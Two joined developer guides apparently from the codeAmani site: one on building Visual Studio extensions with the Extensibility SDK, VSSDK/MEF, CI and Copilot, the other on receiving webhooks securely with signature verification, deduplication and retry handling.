Note — the SDK still tracks 17.14, not the IDE's 18.x. Even though Visual Studio 2026 ships as version 18.x, the modern VisualStudio.Extensibility SDK's latest stable NuGet release is 17.14.40608 (the Microsoft.VSSDK.BuildTools classic-CI package has moved to 18.9.x). Pin 17.14.40608 for the SDK — it is current, not stale — and re-check the NuGet link before a release.


Prerequisites

Visual Studio 2022 17.9+  (or Visual Studio 2026)  with the "Visual Studio extension development" workload
.NET 8 SDK

The SDK's docs still label it VisualStudio.Extensibility (Preview) and the API surface keeps a small set of experimental members — pin the SDK version and expect occasional breaking changes between minors. It remains Microsoft's "start here" model for new extensions.

Project file

The SDK targets net8.0-windows and pulls two NuGet packages. The .Build package wires the VSIX packaging into dotnet build automatically — no source.extension.vsixmanifest hand-editing:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <TargetFramework>net8.0-windows8.0</TargetFramework>
    <Nullable>enable</Nullable>
    <LangVersion>12</LangVersion>
    <NeutralLanguage>en-US</NeutralLanguage>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="Microsoft.VisualStudio.Extensibility.Sdk"   Version="17.14.40608" PrivateAssets="all" />
    <PackageReference Include="Microsoft.VisualStudio.Extensibility.Build" Version="17.14.40608" PrivateAssets="all" />
  </ItemGroup>
</Project>

Extension entry point

Every extension has one class deriving from Extension, decorated with [VisualStudioContribution]. This is your manifest-in-code:

using Microsoft.Extensions.DependencyInjection;
using Microsoft.VisualStudio.Extensibility;

[VisualStudioContribution]
public class InsertGuidExtension : Extension
{
    public override ExtensionConfiguration ExtensionConfiguration => new()
    {
        Metadata = new(
            id: "InsertGuid.c5481000-68da-416d-b337-32122a638980",
            version: this.ExtensionAssemblyVersion,
            publisherName: "codeAmani",
            displayName: "Insert Guid Sample Extension",
            description: "Inserts a GUID at the caret in the active document."),
    };

    protected override void InitializeServices(IServiceCollection serviceCollection)
    {
        base.InitializeServices(serviceCollection);
        // Register your own services for DI here.
    }
}

A command

Commands are Command subclasses, also marked [VisualStudioContribution]. They run async against the out-of-process Extensibility object:

[VisualStudioContribution]
public class InsertGuidCommand : Command
{
    public override CommandConfiguration CommandConfiguration => new("%InsertGuid.DisplayName%")
    {
        Placements = [CommandPlacement.KnownPlacements.ExtensionsMenu],
        Icon = new(ImageMoniker.KnownValues.Extension, IconSettings.IconAndText),
    };

    public override async Task ExecuteCommandAsync(IClientContext context, CancellationToken ct)
    {
        var textView = await context.GetActiveTextViewAsync(ct);
        if (textView is null) return;

        await this.Extensibility.Editor().EditAsync(batch =>
        {
            var doc = textView.Document.AsEditable(batch);
            doc.Replace(textView.Selection.Extent, Guid.NewGuid().ToString());
        }, ct);
    }
}

Build & run

# From the extension project dir — the .Build package produces the .vsix
dotnet build -c Release

# F5 in Visual Studio launches the VS Experimental Instance with the extension
# hot-loaded (no restart). From CLI, install the packaged VSIX:
"%VsInstallDir%\Common7\IDE\VSIXInstaller.exe" bin\Release\MyExtension.vsix

Setup — Classic VSSDK + MEF (deep editor hooks)

When you need an editor hook the new SDK doesn't expose yet — syntax classification, adornments, taggers — use the in-process MEF model. Create a VSIX Project (C# › Extensibility), then add an Editor Classifier item template.

MEF is the wiring: you [Export] a provider and Visual Studio [Import]s it. The editor discovers your component by the exported interface + ContentType.

Middle path — a VSSDK-compatible SDK extension. You no longer have to choose one world wholesale. The VisualStudio.Extensibility Extension with VSSDK Compatibility project template lets a modern SDK extension host classic VSSDK/MEF parts in-process: set <VssdkCompatibleExtension>true</VssdkCompatibleExtension>, mark the Extension with RequiresInProcessHosting = true, and keep the source.extension.vsixmanifest with ExtensionType = VSSDK+VisualStudio.Extensibility. For VS 2022 this variant targets .NET Framework 4.7.2 (not net8.0), because in-process code runs inside devenv.exe. Reach for it when you want the SDK's authoring model but still need a deep MEF hook in the same VSIX. See Using the SDK and VSSDK together.

A classifier (colors text)

[Export(typeof(IClassifierProvider))]
[ContentType("text")]
internal class EditorClassifierProvider : IClassifierProvider
{
    [Import] internal IClassificationTypeRegistryService ClassificationRegistry { get; set; }

    public IClassifier GetClassifier(ITextBuffer buffer) =>
        buffer.Properties.GetOrCreateSingletonProperty(
            () => new EditorClassifier(ClassificationRegistry));
}

internal class EditorClassifier : IClassifier
{
    private readonly IClassificationType _type;
    internal EditorClassifier(IClassificationTypeRegistryService registry) =>
        _type = registry.GetClassificationType("EditorClassifier");

    public IList<ClassificationSpan> GetClassificationSpans(SnapshotSpan span) =>
        new List<ClassificationSpan>
        {
            new(new SnapshotSpan(span.Snapshot, span.Span), _type),
        };

    public event EventHandler<ClassificationChangedEventArgs> ClassificationChanged;
}

The format definition (how the classification looks)

[Export(typeof(EditorFormatDefinition))]
[ClassificationType(ClassificationTypeNames = "EditorClassifier")]
[Name("EditorClassifier")]
[UserVisible(true)]
internal sealed class EditorClassifierFormat : ClassificationFormatDefinition
{
    public EditorClassifierFormat()
    {
        DisplayName = "EditorClassifier";
        BackgroundColor = Colors.BlueViolet;
        ForegroundColor = Colors.White;
    }
}

Editor extension points at a glance

Hook Export Reach for it when
Classifier IClassifierProvider Color/categorize spans of text
Tagger ITaggerProvider Attach typed tags (errors, outlining, highlights) to spans
Adornment AdornmentLayerDefinition + IWpfTextViewCreationListener Draw WPF visuals over/under text
Completion IAsyncCompletionSourceProvider Custom IntelliSense
Margin IWpfTextViewMarginProvider Add a gutter/margin UI strip

MEF components are in-process and lazy — Visual Studio only constructs them when a matching ContentType view opens. Keep constructors cheap; do real work on first use.


Driving Visual Studio from Claude Code

Claude Code runs on the CLI, so orchestrate the build tools, not the GUI. Always pass arguments as arrays (execFileSync) — never interpolate paths into a shell string.

You're the codegen-plus-orchestration layer here — here's how a run flows end to end:

sequenceDiagram
    participant CC as "Claude Code"
    participant FS as "Project files"
    participant BT as "dotnet / msbuild"
    participant VS as "Visual Studio"
    CC->>FS: "Scaffold extension classes"
    CC->>BT: "execFileSync with array args"
    BT->>BT: "Compile and pack .vsix"
    BT-->>CC: "Build result · .vsix path"
    CC->>BT: "dotnet test"
    BT-->>CC: "results.trx"
    CC->>VS: "Install or F5 Experimental Instance"
# Build a solution (prefer the dotnet CLI for SDK-style projects)
dotnet build MyExtension.sln -c Release

# MSBuild for classic VSSDK projects that aren't SDK-style
msbuild MyExtension.sln /p:Configuration=Release /p:DeployExtension=false

# Run tests
dotnet test --logger "trx;LogFileName=results.trx"

# Locate the active VS install (avoids hard-coded paths)
vswhere -latest -property installationPath
// scripts/build-vsix.js — safe argument passing
import { execFileSync } from "node:child_process";

execFileSync("dotnet", ["build", "MyExtension.sln", "-c", "Release"], {
  stdio: "inherit",
});

CI — build the VSIX

The tables above point to "CI build of the .vsix" but never show the workflow. Here it is. Two facts shape it:

The runner must locate msbuild first. The canonical action is microsoft/setup-msbuild, which runs vswhere and prepends the discovered MSBuild to PATH.

Pin the runner image — windows-latest moved to VS 2026. As of 2026 the windows-latest label maps to Windows Server 2025 with Visual Studio 2026 (18.x); Visual Studio 2022 is no longer on that image. So vs-version: '17.0' on windows-latest no longer resolves. Pick one deliberately: pin runs-on: windows-2022 to keep the VS 2022 (17.x) toolset (shown below — matches the 17.14 SDK line), or stay on windows-latest and bump the pin to vs-version: '18.0' for the VS 2026 toolset. Don't leave a 17.0 pin on windows-latest.

flowchart TD
    A["push or PR"] --> B["windows-2022 runner<br/>(pinned — latest now ships VS 2026)"]
    B --> C["actions/checkout"]
    C --> D["microsoft/setup-msbuild<br/>adds msbuild to PATH"]
    D --> E["nuget/msbuild restore"]
    E --> F["msbuild · Release<br/>DeployExtension false"]
    F --> G["actions/upload-artifact<br/>the .vsix"]

Workflow — .github/workflows/build-vsix.yml

name: Build VSIX

on:
  push:
    branches: [master]
  pull_request:

jobs:
  build:
    # Pinned: `windows-latest` now = Windows Server 2025 + Visual Studio 2026 (18.x).
    # `windows-2022` keeps the VS 2022 (17.x) toolset that matches `vs-version: '17.0'`.
    runs-on: windows-2022

    steps:
      - uses: actions/checkout@v4

      # Discovers MSBuild via vswhere and adds it to PATH.
      # vs-version pins the toolset (17.0 = VS 2022; use 18.0 on a VS 2026 runner).
      - name: Add MSBuild to PATH
        uses: microsoft/setup-msbuild@v3
        with:
          vs-version: '17.0'

      # Restore NuGet packages — msbuild -t:Restore avoids a separate nuget.exe.
      - name: Restore
        run: msbuild MyExtension.sln -t:Restore -p:Configuration=Release

      # Build and pack. DeployExtension=false: no local VS to install into.
      - name: Build VSIX
        run: >-
          msbuild MyExtension.sln
          -p:Configuration=Release
          -p:DeployExtension=false
          -m

      - name: Upload VSIX
        uses: actions/upload-artifact@v4
        with:
          name: MyExtension-vsix
          path: '**/bin/Release/**/*.vsix'
          if-no-files-found: error

Gotcha — the VS extension build tooling may be missing. The GitHub-hosted Windows images ship a full Visual Studio install (VS 2022 on windows-2022, VS 2026 on windows-latest/Server 2025) plus the .NET workloads, but a classic VSSDK build also needs the Visual Studio extension development workload (the Microsoft.VsSDK.targets that pack the .vsix). The full VS install usually includes it, but if you hit error MSB4019: The imported project "...Microsoft.VsSDK.targets" was not found, the SDK targets aren't on the runner. Fixes, cheapest first: reference the Microsoft.VSSDK.BuildTools NuGet package so the targets restore with the project (preferred — keeps the build self-contained); or, for a container/self-hosted runner, add the component via the VS Installer (--add Microsoft.VisualStudio.Workload.VisualStudioExtension). The modern VisualStudio.Extensibility SDK sidesteps this entirely — its .Build package brings the packaging targets in as a normal PackageReference.


GitHub Copilot in Visual Studio

Copilot is now a first-class part of the IDE, not an add-on. In Visual Studio 2026 it is built in; in Visual Studio 2022 it ships as the GitHub Copilot optional component in the .NET desktop / other workloads, and agent mode requires 17.14+. Sign in once under Tools > Options > GitHub > Accounts with a GitHub account that has Copilot access (Copilot is a separate GitHub subscription, paid or free).

Surface What it does
Completions + next edit suggestions Inline gray-text completions as you type, plus predicted edits to existing code. IntelliSense still takes Tab by default.
Ask (Copilot Chat) Q&A and code examples with no edits applied unless you choose Apply.
Plan agent Read-only exploration that drafts a reviewable implementation plan (saved as markdown under .copilot/plans/) before any edits — hand it off to agent mode to execute.
Agent mode Multi-step edits across solution files, iterating on build errors and running tools. The evolution of Copilot Edits. Required to use MCP servers.
MCP servers Agent mode can call Model Context Protocol tools via the tools icon — configure servers and pick which tools Copilot may use.

Model picker — including Claude

Copilot Chat has a model picker at the bottom of the chat window. With 17.14 the default model is GPT-4.1 (previously GPT-4o), but the picker exposes an expanded set — Claude Sonnet 4, Claude Opus 4, GPT-5 / GPT-5 mini, Claude Sonnet 3.5, Claude 3.7 (thinking / non-thinking), o3-mini, and Gemini 2.x. Model availability depends on your Copilot plan; for Business/Enterprise an admin enables the models.

Bring your own model (BYOM): in the model picker you can add an API key from Anthropic, OpenAI, or Google and use your own model — but only in the Copilot Chat experience (not completions), and not for Copilot Business/Enterprise seats. Custom-model output comes straight from the provider and may bypass Copilot's responsible-AI filtering.

Safety — agent-mode terminal commands. Agent mode can only touch files in the open solution, but any terminal command it proposes runs with the permissions of the Visual Studio process — it is not sandboxed. Review proposed commands before letting them run.

codeAmani angle


Common Use Cases

Use Case Approach
Insert/transform text at caret New SDK Command + Editor().EditAsync
Syntax highlighting for a custom language VSSDK IClassifierProvider + ClassificationFormatDefinition
Squiggles / error tags VSSDK ITaggerProvider<IErrorTag>
Inline visuals (CodeLens-like) VSSDK adornment layer + IWpfTextViewCreationListener
Custom IntelliSense IAsyncCompletionSourceProvider
Language server integration New SDK LSP extension contribution
AI codegen / multi-step edits in the IDE GitHub Copilot agent mode (pick a Claude model) or Claude Code CLI in the terminal
CI build of the .vsix dotnet build / msbuild in GitHub Actions (Windows runner)

Troubleshooting

Issue Fix
Extension not loading Check the Experimental Instance: devenv /rootSuffix Exp; reset with /resetSettings
MEF component never constructed ContentType mismatch — verify the [ContentType] matches the open file's type
.vsix not produced Ensure Microsoft.VisualStudio.Extensibility.Build (or the VSSDK targets) is referenced
Stale extension after rebuild Clear the Exp cache under %LocalAppData%\Microsoft\VisualStudio\<version>_*Exp\Extensions — 17.0_*Exp for VS 2022, 18.0_*Exp for VS 2026
msbuild not found in CI Use the microsoft/setup-msbuild action or build with dotnet for SDK-style projects
No Ask / Plan / Agent options in Copilot Chat You're below VS 17.14 (check Help > About), or Enable Agent mode is off under Tools > Options > GitHub > Copilot > Copilot Chat

codeAmani notes

Official docs:

Webhooks Developer Guide

Technology: webhooks · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/webhooks

Insight:

A webhook is a reverse API call: the provider POSTs an event to a public URL you own, so the whole job is proving the request is genuine before you act on it. Verify the HMAC over the raw body (await req.text() in a Next.js Route Handler), ACK 2xx fast, then do the slow work on a queue. Delivery is at-least-once and unordered, so dedupe on the event or delivery id and re-fetch state instead of trusting event order. Watch the 2026 trap: svix 2.x Webhook.verify() returns undefined. It only throws on failure, so verify first and JSON.parse the raw body yourself (or use Clerk's verifyWebhook(), which returns the typed event). The odd one out for codeAmani is M-Pesa/Daraja: callbacks are unsigned and never retried, so allowlist Safaricom's 12 gateway IPs, dedupe on CheckoutRequestID, and always run a reconciliation job.

██╗    ██╗███████╗██████╗ ██╗  ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗
██║    ██║██╔════╝██╔══██╗██║  ██║██╔═══██╗██╔═══██╗██║ ██╔╝██╔════╝
██║ █╗ ██║█████╗  ██████╔╝███████║██║   ██║██║   ██║█████╔╝ ███████╗
██║███╗██║██╔══╝  ██╔══██╗██╔══██║██║   ██║██║   ██║██╔═██╗ ╚════██║
╚███╔███╔╝███████╗██████╔╝██║  ██║╚██████╔╝╚██████╔╝██║  ██╗███████║
 ╚══╝╚══╝ ╚══════╝╚═════╝ ╚═╝  ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝

Webhooks Developer Guide

Focus: receive webhooks safely. Verify the signature over the raw body, ACK fast, then do the slow work on a queue. The same three moves work for Stripe, Clerk, GitHub, Shopify, Twilio, Meta/WhatsApp, Notion, Sentry, Figma and M-Pesa/Daraja.

Overview

A webhook is a reverse API call. Instead of polling a provider ("anything new yet?"), the provider POSTs a small event to a URL you own the moment something happens: a payment succeeded, a user signed up, an error spiked. It's the push half of an event-driven system, and the cheapest way to react in near-real-time.

Every receiver has to respect three hard truths:

  1. The internet is hostile. Your endpoint is public, so anyone can POST to it. You must cryptographically verify that each request came from the provider, usually with an HMAC-SHA256 signature over the raw body.
  2. Delivery is at-least-once and unordered. Providers retry on timeouts and non-2xx replies, so the same event can arrive twice, and events can arrive out of order. Be idempotent: dedupe on the event or delivery id.
  3. Slow receivers get retried, or disabled. Sentry wants a reply within 1 second, Shopify within 5, GitHub within 10. Verify, record, ACK, and push real work to a queue.

Most modern providers have converged on one wire format, now written down as the Standard Webhooks spec: the signed content is id.timestamp.payload, signed with HMAC-SHA256, base64-encoded and prefixed v1,. Svix is the reference implementation, and Clerk and Resend deliver through it. Stripe uses a close variant. GitHub, Meta and Notion sign the bare body as sha256=<hex>. Learn one and you can read them all.

Current versions (npm, 2026-10-20)

Package Version What it's for Notes
stripe 23.0.0 stripe.webhooks.constructEvent() / constructEventAsync() Ships API version 2026-09-30.endive. Node ≥ 20. Tolerance 0 now disables the timestamp check
svix 2.8.0 new Webhook(secret).verify() for any Svix sender verify() returns undefined since 2.2.0. ESM-only (CommonJS dropped in 2.0). engines.node >= 22
standardwebhooks 1.1.1 Provider-neutral Standard Webhooks verify verify() still returns the parsed JSON (pass { jsonParse: false } to skip)
@octokit/webhooks-methods 6.0.0 GitHub verify(secret, body, signature) ESM-only, Node ≥ 20. Also verifyWithFallback() for secret rotation
@clerk/nextjs 7.9.17 verifyWebhook(req) from @clerk/nextjs/webhooks Built on standardwebhooks; returns the typed WebhookEvent
resend 6.34.1 resend.webhooks.verify({ payload, headers, webhookSecret }) Returns the parsed payload
twilio 6.2.0 validateRequest() / validateRequestWithBody() HMAC-SHA1 over URL + params
@notionhq/client 5.27.1 verifyWebhookSignature() Helper added in 5.23.0
next 16.4.2 Route Handlers (app/**/route.ts) Raw body via await request.text()

Official Documentation

Source URL What it covers
Standard Webhooks spec https://www.standardwebhooks.com/ Headers, v1 / v1a schemes, secret format, retry schedule
Svix: verifying payloads https://docs.svix.com/receiving/verifying-payloads/how Webhook.verify(), header names
Svix: retry schedule https://docs.svix.com/retries Retry delays, endpoint disabling
Stripe webhooks https://docs.stripe.com/webhooks Delivery, retries, duplicates, ordering, Stripe-Signature
Clerk: syncing via webhooks https://clerk.com/docs/guides/development/webhooks/syncing verifyWebhook(), at-least-once semantics
GitHub: validating deliveries https://docs.github.com/en/webhooks/using-webhooks/validating-webhook-deliveries X-Hub-Signature-256
GitHub: failed deliveries https://docs.github.com/en/webhooks/using-webhooks/handling-failed-webhook-deliveries No automatic redelivery, 10 s timeout
Shopify: verify deliveries https://shopify.dev/docs/apps/build/webhooks/verify-deliveries X-Shopify-Hmac-SHA256, retries, dedupe headers
Twilio: webhook security https://www.twilio.com/docs/usage/webhooks/webhooks-security X-Twilio-Signature, bodySHA256
Meta: webhooks getting started https://developers.facebook.com/docs/graph-api/webhooks/getting-started hub.challenge, X-Hub-Signature-256
Notion webhooks https://developers.notion.com/reference/webhooks verification_token, X-Notion-Signature
Sentry integration webhooks https://docs.sentry.io/integrations/integration-platform/webhooks/ Sentry-Hook-Signature, 1 s timeout
Figma webhooks v2 https://developers.figma.com/docs/rest-api/webhooks-security/ passcode check, retries
Resend: verify requests https://resend.com/docs/webhooks/verify-webhooks-requests resend.webhooks.verify()
Next.js Route Handlers https://nextjs.org/docs/app/api-reference/file-conventions/route Raw body, segment config

Anatomy of a delivery

An event happens at the provider. It serialises a JSON payload, signs it with your shared secret, and POSTs the payload plus signature headers to your URL. Your endpoint verifies, records and replies 2xx, and the provider marks the delivery acknowledged. Any other reply, or a timeout, schedules a retry (for providers that retry at all).

sequenceDiagram
    participant P as Provider
    participant E as Your endpoint
    participant Q as Queue/Worker
    P->>P: Event occurs · sign payload
    P->>E: POST /api/webhooks/provider · raw body + signature headers
    E->>E: Verify signature + timestamp
    E->>E: Claim event id (unique insert)
    E->>Q: Enqueue slow work
    E-->>P: 2xx ACK fast
    Q->>Q: Process out of band
    Note over P,E: No 2xx in time then retry with backoff

Under the Standard Webhooks / Svix scheme the headers carry everything verification needs:

Header Meaning
webhook-id / svix-id Unique message id: your idempotency key (the same on every retry)
webhook-timestamp / svix-timestamp Unix seconds when sent: used for replay protection
webhook-signature / svix-signature Space-separated v1,<base64> values (several during secret rotation)

Stripe folds all three into one Stripe-Signature header (t=<ts>,v1=<hex>). GitHub sends X-Hub-Signature-256: sha256=<hex> plus a separate X-GitHub-Delivery id. Same idea, different packaging. The full matrix is in reference/signature-schemes-cheatsheet.md.


Raw bodies in Next.js 16 Route Handlers

Every signature is computed over the exact bytes the provider sent. Next.js App Router Route Handlers get a Web Request, and there's no body-parser to switch off:


The receiver pattern: verify → claim → ACK → enqueue

The single most important architectural decision: don't do real work inside the request. Verify, write a dedupe row, return 2xx, and hand the heavy lifting (DB writes, emails, fulfilment, AI calls) to a background queue. That keeps you under every provider's timeout, and a slow downstream service can't cause a retry storm.

flowchart TD
    A["POST arrives"] --> B{"Signature valid?"}
    B -->|"no"| R1["Return 400 or 401 · reject"]
    B -->|"yes"| C{"Timestamp fresh?"}
    C -->|"no · too old"| R2["Return 400 · replay"]
    C -->|"yes"| D{"Event id seen before?"}
    D -->|"yes"| R3["Return 200 · dedupe no-op"]
    D -->|"no"| E["Insert id · enqueue work"]
    E --> F["Return 200 · ACK"]

A duplicate still returns 200: you already did the work, so acknowledge it and move on. Only a bad signature or stale timestamp earns a 4xx. If your own dedupe insert or enqueue fails, return 5xx so the provider retries.

Need a quick fire-and-forget step on Vercel without a queue? after() from next/server runs a callback after the response is sent. It isn't durable: if the function dies, the work is lost. Use it for logging or cache warm-ups, not for money.


Signature verification

An unverified webhook endpoint is a public, unauthenticated POST handler that can change your database. Three rules:

Clerk: verifyWebhook() (preferred)

Clerk delivers through Svix. In Next.js, verifyWebhook(req) from @clerk/nextjs/webhooks reads CLERK_WEBHOOK_SIGNING_SECRET, checks the three svix-* headers and the 5-minute tolerance, and returns the typed event. Outside Next.js, use the same function from @clerk/backend/webhooks. See ../clerk/CLAUDE_CODE_INTEGRATION.md and examples/clerk-route.ts.

// app/api/webhooks/clerk/route.ts
import { verifyWebhook } from "@clerk/nextjs/webhooks";
import type { NextRequest } from "next/server";

export async function POST(req: NextRequest): Promise<Response> {
  let evt: Awaited<ReturnType<typeof verifyWebhook>>;
  try {
    evt = await verifyWebhook(req); // throws on a bad signature or stale timestamp
  } catch {
    return new Response("invalid signature", { status: 400 });
  }
  const deliveryId = req.headers.get("svix-id") ?? ""; // idempotency key
  if (evt.type === "user.created") {
    await enqueue(deliveryId, evt.type, evt.data.id);
  }
  return new Response(null, { status: 200 });
}

Raw Svix / Standard Webhooks (any Svix sender, non-Next runtimes)

Breaking change in svix 2.x. Since 2.2.0 (2026-08-31), new Webhook(secret).verify(payload, headers) returns undefined. Its type is verify(...): undefined. It throws a WebhookVerificationError on a bad signature or a timestamp outside ±5 minutes, and that's all. Code written for 1.x (const evt = wh.verify(...)) now gets undefined and breaks. 2.0.0 and 2.1.0 still returned the payload and were yanked for that reason. Verify, then JSON.parse the same raw string.

import { Webhook } from "svix"; // svix@2.8.0: ESM-only, Node >= 22

const SECRET = process.env.CLERK_WEBHOOK_SIGNING_SECRET!; // "whsec_..."

export async function POST(req: Request): Promise<Response> {
  const payload = await req.text(); // RAW body
  const headers = {
    "svix-id": req.headers.get("svix-id") ?? "",
    "svix-timestamp": req.headers.get("svix-timestamp") ?? "",
    "svix-signature": req.headers.get("svix-signature") ?? "",
  };

  try {
    new Webhook(SECRET).verify(payload, headers); // returns undefined; throws on failure
  } catch {
    return new Response("invalid signature", { status: 400 });
  }

  const evt = JSON.parse(payload) as { type: string; data: unknown }; // trusted now
  await enqueue(headers["svix-id"], evt.type, evt.data);
  return new Response("ok", { status: 200 });
}

The provider-neutral standardwebhooks package (1.1.1) works the same way with webhook-* headers, but its verify() still returns the parsed JSON. Don't mix up the two libraries' return values. Resend wraps it as resend.webhooks.verify({ payload, headers: { id, timestamp, signature }, webhookSecret }), which also returns the parsed payload.

Stripe: constructEvent

Stripe verifies and parses in one call. Pass the raw body string or Buffer, the Stripe-Signature header and the endpoint's own whsec_... secret. The SDKs default to a 5-minute tolerance (DEFAULT_TOLERANCE = 300). In stripe@23, passing tolerance 0 skips the timestamp check, so don't. Ignore every scheme except v1; test events also carry a fake v0 signature.

// app/api/webhooks/stripe/route.ts (full version with dedupe: examples/route.ts)
import Stripe from "stripe";

const stripe = new Stripe(process.env.STRIPE_SECRET_KEY!, { apiVersion: "2026-09-30.endive" });
const ENDPOINT_SECRET = process.env.STRIPE_WEBHOOK_SECRET!; // "whsec_..."

export async function POST(req: Request): Promise<Response> {
  const body = await req.text(); // raw
  const sig = req.headers.get("stripe-signature") ?? "";

  let event: Stripe.Event;
  try {
    event = stripe.webhooks.constructEvent(body, sig, ENDPOINT_SECRET);
    // Edge / Workers runtime: event = await stripe.webhooks.constructEventAsync(body, sig, ENDPOINT_SECRET);
  } catch (err) {
    return new Response(`Webhook Error: ${(err as Error).message}`, { status: 400 });
  }

  await enqueue(event.id, event.type, event); // event.id is the dedupe key
  return new Response("ok", { status: 200 });
}

Event destinations that send thin events (API v2) are parsed with stripe.parseEventNotification(body, sig, secret) instead. That's the same signature check, and it returns a lightweight notification you then fetch. See ../stripe/CLAUDE_CODE_INTEGRATION.md.

GitHub: @octokit/webhooks-methods

GitHub signs only the raw body (no id or timestamp), as hex, prefixed sha256=, in X-Hub-Signature-256. Handle the payload as UTF-8. Ignore the legacy SHA-1 X-Hub-Signature header.

import { verify } from "@octokit/webhooks-methods"; // 6.0.0

const ok = await verify(process.env.GITHUB_WEBHOOK_SECRET!, rawBody, signatureHeader); // constant-time
const deliveryId = req.headers.get("x-github-delivery"); // dedupe key

The full handler is in examples/github-route.ts. To do it without a dependency, verifySha256Prefixed() in examples/verify-webhook.ts is the same HMAC with timingSafeEqual.

Raw HMAC (the primitive underneath)

When a provider has no SDK, verify the HMAC yourself. The key moves are: HMAC the raw body, encode the way the provider does (hex or base64), then timingSafeEqual after a length check.

import { createHmac, timingSafeEqual } from "node:crypto";

/** Standard Webhooks v1: `${id}.${timestamp}.${body}`, base64, `v1,` prefix, ±5 min. */
export function verifyStandard(opts: {
  rawBody: string;
  id: string;
  timestamp: string;
  signatureHeader: string; // "v1,abc= v1,def=" (several during rotation)
  secret: string; // "whsec_<base64>"
}): boolean {
  const ts = Number(opts.timestamp);
  if (!Number.isInteger(ts) || Math.abs(Date.now() / 1000 - ts) > 300) return false;

  const key = Buffer.from(opts.secret.replace(/^whsec_/, ""), "base64");
  const expected = Buffer.from(
    createHmac("sha256", key).update(`${opts.id}.${opts.timestamp}.${opts.rawBody}`).digest("base64"),
  );
  return opts.signatureHeader.split(" ").some((entry) => {
    const [version, sig] = entry.split(",");
    if (version !== "v1" || !sig) return false;
    const given = Buffer.from(sig);
    return given.length === expected.length && timingSafeEqual(given, expected);
  });
}

Other providers at a glance

Provider Header How to verify Dedupe on
Shopify X-Shopify-Hmac-SHA256 base64 HMAC-SHA256 of the raw body, keyed with the app client secret X-Shopify-Webhook-Id (X-Shopify-Event-Id correlates fan-out)
Twilio X-Twilio-Signature HMAC-SHA1 (base64) of the full URL + alphabetically sorted POST params, keyed with the auth token. Use twilio.validateRequest(); for JSON bodies use validateRequestWithBody() (checks the bodySHA256 query param). Use the exact public URL Twilio called MessageSid / CallSid
Meta / WhatsApp Cloud API X-Hub-Signature-256 sha256= + hex HMAC-SHA256 of the raw body, keyed with the App Secret. Subscription check: answer the GET with hub.challenge when hub.verify_token matches message id
Notion X-Notion-Signature sha256= + hex HMAC-SHA256 of the raw body, keyed with the one-time verification_token. Or verifyWebhookSignature() from @notionhq/client ≥ 5.23.0 event id
Sentry (integration platform) Sentry-Hook-Signature hex HMAC-SHA256, keyed with the integration Client Secret. Reply within 1 s Request-ID
Figma (webhooks v2) none Compare the passcode field in the payload with the one you set at creation. A wrong passcode gets a 400 webhook_id + timestamp (no delivery id is documented)
Resend svix-* resend.webhooks.verify() (Standard Webhooks) svix-id
M-Pesa / Daraja none Unsigned. Allowlist Safaricom's gateway IPs, then match CheckoutRequestID to a pending record CheckoutRequestID

Idempotency: dedupe on the event id

Because delivery is at-least-once, processing the same event twice must have the same effect as processing it once. The cleanest way is a unique constraint on (provider, event_id): let the database reject the duplicate.

import { createClient } from "@supabase/supabase-js";

const db = createClient(process.env.SUPABASE_URL!, process.env.SUPABASE_SERVICE_ROLE_KEY!);

/** Returns true the FIRST time we see this id. */
export async function claimEvent(provider: string, eventId: string, type: string): Promise<boolean> {
  const { error } = await db
    .from("webhook_events") // primary key (provider, event_id)
    .insert({ provider, event_id: eventId, type, received_at: new Date().toISOString() });
  if (error?.code === "23505") return false; // unique_violation: already handled
  if (error) throw error; // 5xx -> provider retries
  return true;
}
flowchart TD
    A["Event id arrives"] --> B["INSERT (provider, id)"]
    B --> C{"Unique violation?"}
    C -->|"yes · duplicate"| D["Skip work · return 200"]
    C -->|"no · first time"| E["Enqueue work once"]
    E --> F["Return 200"]

Which id to use:

Provider Idempotency key
Stripe event.id (evt_...); unchanged across retries
Svix senders (Clerk, Resend) svix-id header
Standard Webhooks webhook-id header
GitHub X-GitHub-Delivery (a redelivery keeps the same GUID)
Shopify X-Shopify-Webhook-Id
Daraja STK CheckoutRequestID (stored when the STK Push is accepted)

Without a database constraint, fall back to Redis SET key NX EX 604800, keyed on the id. Keep keys at least as long as the provider's retry window (Stripe retries for up to 3 days). Either way, the id is the dedupe key, not the payload contents. The worker should be idempotent too: upsert by entity id, and use provider idempotency keys on any outgoing API calls.


Retries & at-least-once delivery

Providers retry when you don't return 2xx in time. The schedule tells you how long duplicates can keep arriving and when you need reconciliation:

Provider Timeout Retry behaviour (official docs, 2026-10-20)
Stripe "Quickly return a 2xx" (no number published) Live: up to 3 days, exponential backoff. Sandbox: 3 retries over a few hours
Svix (Clerk, Resend) 30 s Immediately, 5 s, 5 min, 30 min, 2 h, 5 h, 10 h, 10 h (about 27.5 h in all). An endpoint failing for 5 days is disabled
Standard Webhooks spec 15–30 s recommended Example schedule spans about 3 days with jitter
GitHub 10 s No automatic redelivery. Redeliver manually or through the REST API
Shopify 1 s connect, 5 s total 8 retries over 4 hours. After 8 consecutive failures, Admin-API subscriptions are deleted
Meta / WhatsApp not stated Retries immediately, then with decreasing frequency for 36 hours
Figma not stated 3 retries: 5 min, 30 min, 3 h
Sentry 1 s Not documented (see NOTES.md)
M-Pesa / Daraja keep it under ~1 s No retries. Missed callbacks are discarded. Reconcile with STK Query / Transaction Status

What this means: return 2xx only after you've durably accepted the event (dedupe row written, job queued). If your worker fails after the ACK, the provider won't retry, so your queue's own retry has to cover it. For no-retry providers (GitHub, Daraja), run a reconciliation job that lists recent deliveries or queries status.


Replay-attack protection

A captured and replayed request still has a valid signature, so the signature alone can't stop it. The defence is the timestamp: reject anything outside a window (±5 minutes is the convention). Stripe, Svix, standardwebhooks and Clerk enforce this for you. In raw HMAC code you do it yourself.

GitHub, Meta, Shopify, Notion and Sentry don't put a timestamp inside the signature, so a replay passes verification. Idempotency is the replay defence for those: a replayed delivery id is already in your table.


Ordering caveats

Webhooks are not ordered. customer.subscription.updated can arrive before ...created. A Clerk user.updated can land before user.created. A Daraja callback can beat your own write of the STK Push response. Defences:


Local testing

Callbacks must reach a public HTTPS URL, so localhost:3000 alone won't work.

# Provider CLIs forward straight to localhost (no tunnel; events are signed for you)
stripe listen --forward-to localhost:3000/api/webhooks/stripe   # prints a session-only whsec_...
